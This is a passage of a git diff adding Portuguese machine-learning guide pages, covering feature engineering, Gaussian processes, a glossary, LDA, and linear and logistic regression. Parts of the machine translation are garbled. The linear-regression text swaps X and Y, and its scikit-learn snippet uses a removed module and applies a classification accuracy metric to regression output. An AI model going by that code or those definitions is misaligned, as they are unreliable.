+Os algoritmos de busca de moldagem aproveitam o viés de aprendizado, pois incorporam o modelo ML escolhido. Esses métodos funcionam removendo o recurso que tem a menor alteração na pontuação quando removido e repetindo esse processo até que a pontuação mude significativamente. Isso significa executar o algoritmo de aprendizado várias vezes, o que pode levar a tempos de computação significativos. Esses métodos também têm o perigo de overfitting, já que você está basicamente otimizando o conjunto de recursos baseado no modelo ML escolhido.
+
+#### Relevância
+
+Outra maneira de selecionar recursos é usar o [BOC (Bayes Optimal Classifier)](https://scholar.google.de/scholar?q=Bayes+Optimal+Classifier&hl=en&as_sdt=0&as_vis=1&oi=scholart&sa=X&ved=0ahUKEwiO16X0tIbXAhXiKsAKHbGrBzoQgQMIJjAA) . A regra dos polegares aqui é:
+
+*   um recurso é altamente relevante se a remoção de degrada o BOC
+*   um recurso é pouco relevante se não for muito relevante e adicioná-lo em combinação com outros recursos melhora o BOC
+*   caso contrário, um recurso é irrelevante
+
+Bem, nem sempre. Depende da quantidade de dados que você tem e da força dos sinais concorrentes. Você pode ajudar seu algoritmo a "focar" no que é importante destacando-o de antemão.
+
+*   Variável de indicador dos limites: digamos que você esteja estudando as preferências de bebidas alcoólicas dos consumidores dos EUA e seu conjunto de dados tenha um recurso de idade. Você pode criar uma variável indicadora para idade> = 21 para distinguir os indivíduos que estavam acima da idade legal para beber.
+*   Variável de indicador de vários recursos: Você está prevendo preços de imóveis e você tem os recursos n _quartos e n_ banheiros. Se as casas com 2 camas e 2 banheiros comandarem um prêmio como propriedades de aluguel, você poderá criar uma variável de indicador para sinalizá-las.
+*   Variável de indicador para eventos especiais: você está modelando as vendas semanais para um site de comércio eletrônico. Você pode criar duas variáveis ​​indicadoras para as semanas de Black Friday e Christmas.
+*   Variável de indicador para grupos de classes: você está analisando conversões de websites e seu conjunto de dados tem a _origem de_ tráfego de recurso categórico _. Você pode criar uma variável indicadora de_ tráfego _pago_ marcando observações com valores de origem de tráfego de "Anúncios do Facebook" ou "Google Adwords".
+
+## Recursos de interação
+
+O próximo tipo de engenharia de recursos envolve destacar as interações entre dois ou mais recursos.
+
+Você já ouviu a frase "a soma é maior que as partes?" Bem, alguns recursos podem ser combinados para fornecer mais informações do que como indivíduos.
+
+Especificamente, procure oportunidades para obter a soma, a diferença, o produto ou o quociente de vários recursos.
+
+\* Observação: não recomendamos o uso de um loop automatizado para criar interações para todos os seus recursos. Isso leva à "explosão de recursos".
+
+*   Soma de dois recursos: digamos que você deseja prever receita com base em dados preliminares de vendas. Você tem os recursos de vendas de canetas _azuis_ e canetas _pretas de_ vendas. Você poderia somar esses recursos se você se preocupasse apenas com as vendas totais.
+*   Diferença entre dois recursos: você tem a data de _construção da_ casa e a data de _compra da_ casa. Você pode fazer a diferença para criar a _idade_ da feature house na compra.
+*   Produto de dois recursos: você está executando um teste de precificação e tem o preço do recurso e uma conversão de variável do indicador. Você pode pegar o produto deles para criar os ganhos do recurso.
+*   Quociente de dois recursos: você tem um conjunto de dados de campanhas de marketing com os recursos n _cliques e n_ impressões. Você pode dividir cliques por impressões para criar clique _com a_ taxa, o que lhe permite comparar através de campanhas de volume diferente.
+
+#### Mais Informações:
+
+*   [Pesquisa de papel "Feature Engineering for Text Classification"](https://pdfs.semanticscholar.org/6e51/8946c59c8c5d005054af319783b3eba128a9.pdf)
+*   [Artigo "Descubra a engenharia de recursos, como projetar recursos e como obter bons resultados"](https://machinelearningmastery.com/discover-feature-engineering-how-to-engineer-features-and-how-to-get-good-at-it/)
+*   [Um guia abrangente para análise de dados](https://www.analyticsvidhya.com/blog/2016/01/guide-data-exploration/)
+*   [Transformações de dados](https://onlinecourses.science.psu.edu/stat501/node/318)
+*   [Engenharia de recursos em ciência de dados](https://docs.microsoft.com/en-us/azure/machine-learning/team-data-science-process/create-features)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/gaussian-process/index.md b/client/src/guide/portuguese/machine-learning/gaussian-process/index.md
new file mode 100644
index 0000000000..35fb794359
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/gaussian-process/index.md
@@ -0,0 +1,13 @@
+---
+title: Gaussian Process
+localeTitle: Processo Gaussiano
+---
+## Processo Gaussiano
+
+Na teoria das probabilidades e estatística, um processo Gaussiano é um tipo particular de modelo estatístico onde as observações ocorrem em um domínio contínuo, por exemplo, tempo ou espaço. Em um processo gaussiano, cada ponto em algum espaço de entrada contínuo é associado a uma variável aleatória normalmente distribuída. Além disso, toda coleção finita dessas variáveis ​​aleatórias tem uma distribuição normal multivariada, ou seja, cada combinação linear finita delas é normalmente distribuída. A distribuição de um processo gaussiano é a distribuição conjunta de todas as variáveis ​​aleatórias (infinitas) e, como tal, é uma distribuição sobre funções com um domínio contínuo, por exemplo, tempo ou espaço.
+
+Visto como um algoritmo de aprendizado de máquina, um processo Gaussiano usa aprendizagem preguiçosa e uma medida da similaridade entre os pontos (a função do kernel) para prever o valor de um ponto invisível dos dados de treinamento. A previsão não é apenas uma estimativa para esse ponto, mas também tem informações de incerteza - é uma distribuição gaussiana unidimensional (que é a distribuição marginal nesse ponto).
+
+#### Mais Informações:
+
+*   [Processos Gaussianos para Dummies](http://katbailey.github.io/post/gaussian-processes-for-dummies/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/glossary/index.md b/client/src/guide/portuguese/machine-learning/glossary/index.md
new file mode 100644
index 0000000000..39baf24446
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/glossary/index.md
@@ -0,0 +1,40 @@
+---
+title: Glossary
+localeTitle: Glossário
+---
+## Glossário
+
+Uma rápida ou duas frases descrevendo termos comuns. Veja páginas individuais para mais detalhes.
+
+*   **Machine Learning** - Intersecção de estatísticas e ciência da computação em para ensinar os computadores a executar tarefas sem ser explicitamente programado.
+*   **Aprendizado Profundo** - Um termo abrangente para métodos de aprendizado de máquina baseado em representações de dados de aprendizado, em oposição a algoritmos baseados no cumprimento de uma determinada tarefa. Inclui arquiteturas como redes neurais profundas, redes de crenças profundas e redes neurais recorrentes.
+*   **Neuroevolution** - Um termo genérico para métodos de aprendizado de máquina baseado na geração de redes neurais através do peso, viés e arquitetura através de mutações aleatórias da rede. As formas mais comuns de neuroevolução são Neuroevolução de Topologias Aumentantes ( [NEAT](https://en.wikipedia.org/wiki/Neuroevolution_of_augmenting_topologies) ) e Neuroevolução Interactivamente Restrita ( [ICONE](http://ikw.uni-osnabrueck.de/~neurokybernetik/media/pdf/2012-1.pdf) ).
+*   **Aprendizagem Estatística** - o uso de aprendizado de máquina com o objetivo de inferência estatística, em que você tira conclusões dos dados em vez de concentre-se na precisão da previsão
+*   **Aprendizado Supervisionado** - Usando dados históricos para prever o futuro. Exemplo: usando dados históricos de preços nos quais as casas foram vendidas para prever o preço em que sua casa será vendida. Regressão e Classificação estão sob o aprendizado supervisionado.
+*   **Aprendizado não supervisionado** - Encontrando padrões em dados não rotulados. Exemplo: Agrupando clientes através do comportamento de compra. Clustering vem sob aprendizagem não supervisionada.
+*   **Aprendizado por reforço** - Usando um ambiente simulado ou real em que um algoritmo de aprendizado de máquina recebe entrada e recompensas esparsas para construir um modelo para prever ações. Aprendizagem por reforço tem sido usada [para treinar robôs virtuais para equilibrar-se](https://blog.openai.com/competitive-self-play/) e [vencer jogos projetados para humanos](https://blog.openai.com/openai-baselines-dqn/) .
+*   **Regressão** - Uma técnica de aprendizado de máquina usada para prever valores contínuos. Regressão Linear é um dos algoritmos de regressão mais populares.
+*   **Classificação** - Uma técnica de aprendizado de máquina usada para prever valores discretos. Regressão Logística é um dos algoritmos de classificação mais populares.
+*   **Aprendizagem de Regra de Associação** - Um método de aprendizado de máquina baseado em regras para descobrir relações interessantes entre variáveis ​​em grandes bancos de dados.
+```
+f: x -> y 
+ 
+ Here 'f' is a function that takes 'x' as input and produces 'y' as output. 
+ 
+ If the output value 'y' is a real number / continous value then the function 
+ is a regression technique. 
+ 
+ If the output value 'y' is a discrete / categorical value then the function is a classification technique. 
+```
+
+*   **Agrupamento** - Agrupamento de dados não rotulados. Identificando padrões usando estatísticas.
+    
+*   **Redução de Dimensionalidade** - Reduzindo o número de variáveis ​​aleatórias nos dados para obter previsões mais precisas.
+    
+*   **Florestas aleatórias** - Florestas aleatórias ou florestas de decisão aleatórias são um método de aprendizado conjunto para classificação, regressão e outras tarefas que operam construindo uma multiplicidade de árvores de decisão no momento do treinamento e gerando a classe que é o modo das classes ou predição da média. árvores individuais. - **Redes Bayesianas** - Uma rede bayesiana é um modelo gráfico probabilístico que relaciona um conjunto de variáveis ​​aleatórias com suas independências condicionais por meio de um gráfico acíclico dirigido (DAG). De uma maneira simples, relaciona a variável aleatória com suas independências condicionais para a previsão do evento. Ela desempenha um papel crucial na relação de pistas para causar. - **Troca de viés-variância** - Bias é útil porque nos ajuda a determinar a diferença média em valores previstos e valores reais, enquanto a variância nos ajuda a determinar como predicações diferentes no mesmo conjunto de dados são diferentes umas das outras. Se o preconceito aumenta, então o modelo tem um alto erro nas previsões, o que torna o modelo subalimentado. Uma alta variância faz com que o modelo se sobreponha à medida que o modelo se treina continuamente em apenas um dado conjunto de dados e executa mal nos dados que ainda não viu. Encontrar um equilíbrio entre o viés e a variância é a chave para criar um bom modelo.
+    
+
+### Mais Informações:
+
+*   [Glossário de Termos - Robótica](http://robotics.stanford.edu/~ronnyk/glossary.html)
+*   [Glossário de Termos - Machine Learning, Statistics e Data Science](https://www.analyticsvidhya.com/glossary-of-common-statistics-and-machine-learning-terms/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/index.md b/client/src/guide/portuguese/machine-learning/index.md
new file mode 100644
index 0000000000..f3db2cc6f8
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/index.md
@@ -0,0 +1,60 @@
+---
+title: Machine Learning
+localeTitle: Aprendizado de Máquina
+---
+## Aprendizado de Máquina
+
+Arthur Samuel, pioneiro em inteligência artificial, definiu o Machine Learning em 1959 como "o campo de estudo que dá aos computadores a capacidade de aprender sem serem programados explicitamente".
+
+Uma definição mais formal de Machine Learning é fornecida pelo Prof Tom Mitchell da CMU:
+
+> "Diz-se que um programa de computador aprende com a experiência E em relação a alguma classe de tarefas T e medida de desempenho P se seu desempenho em tarefas em T, como medido por P, melhora com a experiência E."
+
+Considere o exemplo de um algoritmo de aprendizado de máquina que joga xadrez. Neste exemplo, `E` refere-se à experiência de jogar xadrez, `T` é a tarefa de jogar xadrez e `P` denota a probabilidade de o programa vencer o próximo jogo de xadrez.
+
+O aprendizado de máquina é exatamente como um ser humano aprende. Por exemplo, se um humano quiser aprender a jogar poker, ele aprenderá primeiro as regras. Em seguida, ele tentará obter experiência jogando o jogo. Essa experiência nada mais é do que um enorme conjunto de dados para uma máquina, usando o qual ela pode tomar decisões inteligentes reagrupando o problema proposto.
+
+Em geral, os problemas de aprendizado de máquina podem ser classificados em aprendizado supervisionado e aprendizado não supervisionado. Na aprendizagem supervisionada, você tem a entrada e a saída rotulada e suspeita que existe uma relação entre a entrada e a saída rotulada. Quando você não sabe qual é o resultado rotulado nem se existe um relacionamento, o aprendizado não supervisionado ajudará a encontrar a estrutura em seus dados, se houver um.
+
+Nós cobrimos duas categorias principais de aprendizado de máquina, mas há quatro categorias amplas de aprendizado de máquina:
+
+1.  Aprendizado supervisionado
+2.  Aprendizagem não supervisionada
+3.  Aprendizagem Semi-supervisionada
+4.  Aprendizagem por Reforço
+
+### Aprendizado supervisionado
+
+O aprendizado supervisionado é a tarefa de aprendizado de máquina de inferir uma função a partir de dados de treinamento supervisionados. O treinamento Os dados consistem em um conjunto de exemplos de treinamento. Na aprendizagem supervisionada, cada exemplo é um par que consiste em um objeto de entrada (tipicamente um vetor) e um valor de saída desejado (também chamado de sinal de supervisão). Além disso, o aprendizado supervisionado pode ser tomado como 2 paradigma, classificação e regressão.
+
+#### Fluxograma básico / etapas para aprendizado supervisionado
+
+1.  Colecione o conjunto de treinamento.
+2.  Divide o conjunto de treinamento em objeto de entrada (recursos) e objeto de saída (classes ou valor)
+3.  Decida o que você irá aplicar, regressão ou classificador
+4.  Decida qual algoritmo você aplicará, SVM, deep net, etc.
+5.  Execute o algoritmo no conjunto de treinamento e use o modelo para previsões
+
+#### Cursos:
+
+1.  [Introdução ao aprendizado de máquina](https://www.udacity.com/course/intro-to-machine-learning--ud120?autoenroll=true)
+2.  [Machine Learning - Ministrado por: Andrew Ng](https://www.coursera.org/learn/machine-learning)
+3.  [Ciência de Dados e Aprendizado de Máquina com Python - Hands On!](https://www.udemy.com/data-science-and-machine-learning-with-python-hands-on/)
+4.  [Aprendizado de Máquina](http://ciml.info/)
+5.  [O Analytics Edge - ministrado por: MIT](https://www.edx.org/course/the-analytics-edge)
+
+#### Recursos de vídeo:
+
+1.  [Canal do Youtube de Siraj Raval](https://www.youtube.com/channel/UCWN3xxRkmTPmbKwht9FuE5A)
+2.  [Canal do Youtube da Sentdex](https://www.youtube.com/channel/UCfzlCWGWYyIQ0aLC5w48gBQ)
+
+#### Mais Informações:
+
+1.  [Aprendizado de Máquina na Wikipedia](https://en.wikipedia.org/wiki/Machine_learning)
+2.  [Aprendizado de Máquina Desmistificado: Youtube](https://www.youtube.com/watch?v=83uAOzhzs-U)
+3.  Se você quiser uma breve introdução ao aprendizado de máquina e preferir vídeos, experimente este [vídeo de introdução ao aprendizado de máquina](https://youtu.be/cKxRvEZd3Mw)
+4.  Se você quiser saber como proceder com o aprendizado de máquina de aprendizado, dê uma olhada neste [vídeo](https://youtu.be/nKW8Ndu7Mjw)
+
+## Laboratório
+
+[Criando Aplicativos Inteligentes com o Estúdio de Aprendizado de Máquina do Azure](https://github.com/Microsoft/computerscience/blob/master/Labs/AI%20and%20Machine%20Learning/Azure%20Machine%20Learning/Azure%20Machine%20Learning%20(Node).md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/latent-dirichlet-allocation/index.md b/client/src/guide/portuguese/machine-learning/latent-dirichlet-allocation/index.md
new file mode 100644
index 0000000000..225833712b
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/latent-dirichlet-allocation/index.md
@@ -0,0 +1,66 @@
+---
+title: Latent Dirichlet Allocation
+localeTitle: Alocação de Dirichlet Latente
+---
+No processamento de linguagem natural, a alocação latente de Dirichlet (LDA) é um modelo estatístico gerativo que permite que conjuntos de observações sejam explicados por grupos não observados que explicam porque algumas partes dos dados são semelhantes. Por exemplo, se as observações forem palavras coletadas em documentos, ele pressupõe que cada documento é uma mistura de um pequeno número de tópicos e que a criação de cada palavra é atribuível a um dos tópicos do documento. LDA é um exemplo de um modelo de tópico.
+
+Suponha que você tenha o seguinte conjunto de sentenças:
+
+Eu comi um smoothie de banana e espinafre no café da manhã Eu gosto de comer brócolis e banana. Chinchilas e gatinhos são fofos. Minha irmã adotou um gatinho ontem. Olhe para este hamster bonito mastigando um pedaço de brócolis.
+
+A alocação de Dirichlet latente é uma maneira de descobrir automaticamente tópicos que essas sentenças contêm. Por exemplo, considerando essas frases e pedindo 2 tópicos, o LDA pode produzir algo como
+
+Sentenças 1 e 2: 100% Tópico A Frases 3 e 4: 100% Tópico B Sentença 5: 60% Tópico A, 40% Tópico B Tópico A: 30% de brócolis, 15% de banana, 10% de café da manhã, 10% de mastigação ... (nesse ponto, você poderia interpretar o tópico A como alimento) Tópico B: 20% chinchilas, 20% gatinhos, 20% fofo, 15% hamster,… (ponto em que você poderia interpretar o tópico B como sendo sobre animais fofos)
+
+A questão, claro, é: como o LDA realiza essa descoberta?
+
+Modelo LDA
+
+Mais detalhadamente, o LDA representa documentos como misturas de tópicos que geram palavras com certas probabilidades. Assume-se que os documentos são produzidos da seguinte maneira: ao escrever cada documento, você
+
+Decida o número de palavras que o documento terá (digamos, de acordo com uma distribuição de Poisson). Escolha uma mistura de tópicos para o documento (de acordo com uma distribuição Dirichlet sobre um conjunto fixo de tópicos K). Por exemplo, assumindo que temos os dois tópicos de comida e animal fofo acima, você pode escolher o documento para consistir em 1/3 de comida e 2/3 de animais fofos. Gere cada palavra no documento por: … .Primeiro escolhendo um tópico (de acordo com a distribuição multinomial que você amostrou acima; por exemplo, você pode escolher o tópico de comida com 1/3 de probabilidade e o tópico de animais fofos com 2/3 de probabilidade). … .Então, usando o tópico para gerar a própria palavra (de acordo com a distribuição multinomial do tópico). Por exemplo, o tópico alimentar pode produzir a palavra "brócolis" com 30% de probabilidade, "bananas" com 15% de probabilidade e assim por diante.
+
+Assumindo esse modelo generativo para uma coleção de documentos, o LDA tenta voltar atrás dos documentos para encontrar um conjunto de tópicos que provavelmente geraram a coleção.
+
+Exemplo
+
+Vamos fazer um exemplo. De acordo com o processo acima, ao gerar algum documento específico D, você pode
+
+Decida que D será 1/2 sobre comida e 1/2 sobre animais fofos. Escolha 5 para ser o número de palavras em D. Escolha a primeira palavra para vir do tópico de comida, que então lhe dá a palavra "brócolis". Escolha a segunda palavra para vir do tópico de animais fofos, que lhe dá "panda". Escolha a terceira palavra para vir do tópico de animais fofos, dando-lhe "adorável". Escolha a quarta palavra para vir do tópico alimentar, dando-lhe "cerejas". Escolha a quinta palavra para vir do tópico alimentar, dando-lhe "comer".
+
+Assim, o documento gerado sob o modelo LDA será "Broccoli panda adorable cherries eating" (note que o LDA é um modelo de saco de palavras).
+
+Aprendendo
+
+Então agora suponha que você tenha um conjunto de documentos. Você escolheu um determinado número fixo de tópicos K para descobrir e deseja usar o LDA para aprender a representação do tópico de cada documento e as palavras associadas a cada tópico. Como você faz isso? Uma maneira (conhecida como amostragem de Gibbs recolhida \*) é a seguinte:
+
+Percorra cada documento e atribua aleatoriamente cada palavra do documento a um dos tópicos K. Observe que essa atribuição aleatória já fornece representações de tópicos de todos os documentos e distribuições de palavras de todos os tópicos (embora não muito bons). Então, para melhorá-los, para cada documento d… … Vá através de cada palavra w em d… …… .. E para cada tópico t, calcule duas coisas: 1) p (tópico t | documento d) = a proporção de palavras no documento d que estão atualmente atribuídas ao tópico t, e 2) p (palavra w | tópico t ) = a proporção de atribuições ao tópico t sobre todos os documentos que vêm desta palavra w. Reatribuir um novo tópico, onde você escolhe o tópico t com a probabilidade p (tópico t | documento d) \* p (palavra w | tópico t) (de acordo com nosso modelo gerativo, essa é essencialmente a probabilidade de o tópico t gerar palavra w, faz sentido que nós reamostramos o tópico da palavra atual com essa probabilidade). (Além disso, estou encobrindo algumas coisas aqui, como o uso de prioridades / pseudocontes nessas probabilidades.) …… .. Em outras palavras, nesta etapa, assumimos que todas as atribuições de tópicos, exceto a palavra atual em questão, estão corretas e, em seguida, atualizamos a atribuição da palavra atual usando nosso modelo de como os documentos são gerados. Depois de repetir o passo anterior um grande número de vezes, você chegará a um estado relativamente estável em que suas atribuições são muito boas. Portanto, use essas atribuições para estimar as misturas de tópicos de cada documento (contando a proporção de palavras atribuídas a cada tópico desse documento) e as palavras associadas a cada tópico (contando a proporção de palavras atribuídas a cada tópico).
+
+Explicação de Layman
+
+No caso de a discussão acima ser um pouco ofuscante, aqui está outra maneira de ver o LDA em um domínio diferente.
+
+Suponha que você acabou de se mudar para uma nova cidade. Você é um hipster e um fã de anime, então você quer saber onde os outros descolados e geeks de anime tendem a sair. Claro, como um hipster, você sabe que não pode simplesmente perguntar, então o que você faz?
+
+Aqui está o cenário: você procura um monte de estabelecimentos diferentes (documentos) em toda a cidade, tomando nota das pessoas (palavras) saindo em cada uma delas (por exemplo, Alice fica no shopping e no parque, Bob fica no o cinema e o parque, e assim por diante). Crucialmente, você não conhece os típicos grupos de interesse (tópicos) de cada estabelecimento, nem conhece os diferentes interesses de cada pessoa.
+
+Então você escolhe um número K de categorias para aprender (ou seja, você quer aprender os K tipos mais importantes de categorias nas quais as pessoas entram), e começa fazendo uma suposição sobre por que você vê as pessoas onde você faz. Por exemplo, você inicialmente adivinha que Alice está no shopping porque as pessoas com interesses em X gostam de ficar por ali; quando você a vê no parque, você acha que é porque seus amigos com interesses em Y gostam de ficar lá; quando você vê Bob no cinema, você adivinha aleatoriamente que é porque as pessoas Z nesta cidade realmente gostam de assistir filmes; e assim por diante.
+
+É claro que suas estimativas aleatórias são muito provavelmente incorretas (afinal de contas, são adivinhações aleatórias, afinal!), Então você quer aperfeiçoá-las. Uma maneira de fazer isso é:
+
+Escolha um lugar e uma pessoa (por exemplo, Alice no shopping). Por que Alice está no shopping? Provavelmente porque outras pessoas no shopping com os mesmos interesses lhe enviaram uma mensagem dizendo-lhe para vir. Em outras palavras, quanto mais pessoas com interesses em X estiverem no shopping e quanto mais forte Alice estiver associada ao interesse X (em todos os outros lugares para onde ela frequenta), mais provável é que Alice esteja no shopping por causa de interesse X. Então, faça um novo palpite a respeito de porque Alice está no shopping, escolhendo um interesse com alguma probabilidade de acordo com a probabilidade que você pensa que é.
+
+Vá através de cada lugar e pessoa uma e outra vez. Seus palpites estão ficando cada vez melhores (afinal, se você notar que muitos geeks ficam na livraria, e você suspeita que Alice é muito nerd, então é uma boa aposta que Alice está na livraria porque seus amigos geeks disseram ela vai lá; e agora que você tem uma idéia melhor do porquê Alice provavelmente está na livraria, você pode usar esse conhecimento para melhorar suas suposições sobre porque todos os outros estão onde estão), e assim, eventualmente, você pode parar atualização. Em seguida, tire um instantâneo (ou vários instantâneos) de seus palpites e use-o para obter todas as informações desejadas:
+
+Para cada categoria, você pode contar as pessoas atribuídas a essa categoria para descobrir o que as pessoas têm esse interesse específico. Ao olhar para as próprias pessoas, você pode interpretar a categoria também (por exemplo, se a categoria X contiver muitas pessoas altas usando camisetas e carregando bolas de basquete, você pode interpretar X como o grupo de "jogadores de basquete"). Para cada lugar P e categoria de interesse C, você pode calcular as proporções de pessoas em P por causa de C (sob o conjunto atual de atribuições), e elas fornecem uma representação de P. Por exemplo, você pode aprender que as pessoas na Barnes & Noble, há 10% de descolados, 50% de fãs de anime, 10% de atletas e 30% de estudantes universitários.
+
+Exemplo do mundo real
+
+Finalmente, vamos passar por um exemplo do mundo real. Eu apliquei o LDA a um conjunto de e-mails de Sarah Palin há pouco tempo (veja http://blog.echen.me/2011/06/27/… para um post no blog, ou http://sarah-palin.heroku.com / para um aplicativo que permite navegar pelos e-mails pelos tópicos aprendidos pelo LDA), aqui estão alguns dos tópicos que o algoritmo aprendeu:
+
+Trig / Família / Inspiração: família, web, correio, deus, filho, de, parabéns, filhos, vida, criança, baixo, trigonometria, bebê, nascimento, amor, você, síndrome, muito, especial, abençoe, velho, marido, anos, obrigado, melhor… Wildlife / BP Corrosion: jogo, peixes, alces, animais selvagens, caça, ursos, polar, urso, subsistência, gestão, área, placa, caça, lobos, controle, departamento, ano, uso, lobo, habitat, caçadores, caribu, programa , denby, pesca,… Energia / Combustível / Petróleo / Mineração: energia, combustível, custos, petróleo, Alasca, preços, custo, atual, alto, ser, casa, público, energia, minas, crise, preço, recurso, necessidade, comunidade, fairbanks, rebate, uso, mineração, aldeias,… Gás: gás, petróleo, gasoduto, agia, projeto, natural, norte, produtores, empresas, fiscais, empresa, energia, desenvolvimento, inclinação, produção, recursos, linha, gasline, transcanada, dito, bilhões, plano, administração, milhões, indústria,… Educação / Resíduos: escola, desperdício, educação, estudantes, escolas, milhões, ler, e-mail, mercado, política, estudante, ano, alta, notícias, estados, programa, primeiro, relatório, negócios, gestão, boletim, informação, relatórios, 2008, trimestre,… Campanha Presidencial / Eleições: correio, web, de, obrigado, você, caixa, mccain, sarah, muito, bom, grande, john, esperança, presidente, sinceramente, wasilla, trabalho, mantenha, faça, adicione, família, republicano, apoio , fazendo, po…
+
+#### Leitura sugerida:
+
+*   https://en.wikipedia.org/wiki/Latent Alocação de _Dirichlet_
+*   http://blog.echen.me/2011/08/22/introduction-to-latent-dirichlet-allocation/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/linear-regression/index.md b/client/src/guide/portuguese/machine-learning/linear-regression/index.md
new file mode 100644
index 0000000000..588d93e884
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/linear-regression/index.md
@@ -0,0 +1,67 @@
+---
+title: Linear Regression
+localeTitle: Regressão linear
+---
+## Regressão linear
+
+A regressão linear nos ajuda a prever a pontuação de uma variável X a partir dos escores de outras variáveis ​​Y. Quando as variáveis ​​Y são plotadas, a regressão linear encontra a linha reta mais adequada através dos pontos. A linha mais adequada é chamada de linha de regressão.
+
+[Simulador de regressão linear on-line](https://www.mladdict.com/linear-regression-simulator)
+
+Em Python:
+
+```py
+#Price of wheat/kg and the average price of bread 
+ wheat_and_bread = [[0.5,5],[0.6,5.5],[0.8,6],[1.1,6.8],[1.4,7]] 
+ 
+ def step_gradient(b_current, m_current, points, learningRate): 
+    b_gradient = 0 
+    m_gradient = 0 
+    N = float(len(points)) 
+    for i in range(0, len(points)): 
+        x = points[i][0] 
+        y = points[i][1] 
+        b_gradient += -(2/N) * (y - ((m_current * x) + b_current)) 
+        m_gradient += -(2/N) * x * (y - ((m_current * x) + b_current)) 
+    new_b = b_current - (learningRate * b_gradient) 
+    new_m = m_current - (learningRate * m_gradient) 
+    return [new_b, new_m] 
+ 
+ def gradient_descent_runner(points, starting_b, starting_m, learning_rate, num_iterations): 
+    b = starting_b 
+    m = starting_m 
+    for i in range(num_iterations): 
+        b, m = step_gradient(b, m, points, learning_rate) 
+    return [b, m] 
+ 
+ gradient_descent_runner(wheat_and_bread, 1, 1, 0.01, 100) 
+```
+
+Exemplo de código é [deste artigo](http://blog.floydhub.com/coding-the-history-of-deep-learning/) . Também explica a descida de gradiente e outros conceitos essenciais para a aprendizagem profunda.
+
+É importante notar que nem toda regressão linear é feita com gradiente descendente. A equação normal também pode ser usada para encontrar os coeficientes de regressão linear, no entanto, isso usa multiplicação de matriz e, portanto, pode ser muito demorado usar para mais de 100.000 ou 1.000.000 instâncias.
+
+Em Python: Aplique diretamente usando a biblioteca scikit, tornando a regressão linear fácil de usar, mesmo em grandes conjuntos de dados.
+
+```py
+import pandas as pd 
+ from sklearn.cross_validation import train_test_split 
+ from sklearn.linear_model import LinearRegression as lr 
+ train = pd.read_csv('../input/train.csv') 
+ test = pd.read_csv('../input/test.csv') 
+ X = train.iloc[:, 0:4].values 
+ y = train.iloc[:, 4].values 
+ X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0) 
+ X_train 
+ model = lr() 
+ model.fit(X_train, y_train) 
+ print(model.score(X_train,y_train)) 
+ y_pred_class = model.predict(X_test) 
+ model.score(X_train,y_train) 
+ print(model.coef_) 
+ print(model.intercept_) 
+ # calculate accuracy 
+ from sklearn import metrics 
+ print(metrics.accuracy_score(y_test, y_pred_class)) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/logistic-regression/index.md b/client/src/guide/portuguese/machine-learning/logistic-regression/index.md
new file mode 100644
index 0000000000..46cf70d706
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/logistic-regression/index.md
@@ -0,0 +1,61 @@
+---
+title: Logistic Regression
+localeTitle: Regressão Logística
+---
+## Regressão Logística
+
+![Função Logística](https://qph.fs.quoracdn.net/main-qimg-7c9b7670c90b286160a88cb599d1b733) A regressão logística é muito semelhante à regressão linear, na medida em que tenta prever uma variável de resposta Y, dado um conjunto de variáveis ​​de entrada X. É uma forma de aprendizado supervisionado, que tenta prever as respostas de dados não-marcados e não vistos, primeiro treinando com dados rotulados, um conjunto de observações de variáveis ​​independentes (X) e dependentes (Y). Mas enquanto a [Regressão Linear](https://guide.freecodecamp.org/machine-learning/linear-regression) assume que a variável de resposta (Y) é quantitativa ou contínua, a Regressão Logística é usada especificamente quando a variável de resposta é qualitativa ou discreta. ![Linear vs Logística](http://www.saedsayad.com/images/LogReg_1.png)
+
+#### Como funciona
+
+A regressão logística modela a probabilidade de que Y, a variável de resposta, pertença a uma determinada categoria. Em muitos casos, a variável de resposta será binária, então a regressão logística desejará modelar uma função y = f (x) que produz um valor normalizado que varia de, digamos, 0 a 1 para todos os valores de X, correspondendo a os dois valores possíveis de Y. Ele faz isso usando a função logística: A regressão logística é a análise de regressão apropriada para conduzir quando a variável dependente é dicotômica (binária). Como todas as análises de regressão, a regressão logística é uma análise preditiva. A regressão logística é usada para descrever dados e para explicar a relação entre uma variável binária dependente e uma ou mais variáveis ​​independentes nominais, ordinais, de intervalo ou de nível de razão.
+
+![Função de Custo](https://cdn-images-1.medium.com/max/800/1*wHtYmENzug_W6fIE9xY8aw.jpeg) A regressão logística é usada para resolver problemas de classificação, onde a saída é da forma y∈ {0,1}. Aqui, 0 é uma classe negativa e 1 é uma classe positiva. Digamos que temos uma hipótese hθ (x), onde x é nosso conjunto de dados (uma matriz) de comprimento m. θ é a matriz paramétrica. Nós temos: 0 <hθ (x) <1
+
+Na regressão logística, hθ (x) é uma função sigmóide, portanto hθ (x) = g (θ'x). g (θ'x) = 1/1 + e ^ (- θ'x)
+
+Nota: θ 'é θ transpose.
+
+#### Função de custo
+
+A função de custo usada para a regressão logística é:
+
+J (θ) = (1 / m) ∑ Custo (hθ (x (i)), y (i)), onde a soma é de i = 1 a m.
+
+Custo (h (x), y) = - log (h (x)) se y = 1 Custo (hθ (x), y) = - log (1 − hθ (x)) se y = 0
+
+#### Previsões usando regressão logística:
+
+Modelos de regressão logística a probabilidade da classe padrão (ou seja, a primeira classe). Você pode classificar os resultados dados por:
+
+y = e ^ (b0 + b1 _X) / (1 + e ^ (b0 + b1_ X))
+
+Como a função sigmoide 0,5 é definida como o limite de decisão todo x para o qual y≥0,5 são classificados como classe A e para os quais y <0,5 são classificados como classe B.
+
+#### Regressão logística multi-classe:
+
+Embora você veja a regressão logística geralmente sendo usada no caso de classificação binária, você também pode usá-la em caso de classificação em várias classes por:
+
+##### um contra um método:
+
+Aqui, um classificador para cada classe é criado separadamente e o classificador com a pontuação mais alta é considerado como saída.
+
+##### um vs todo método:
+
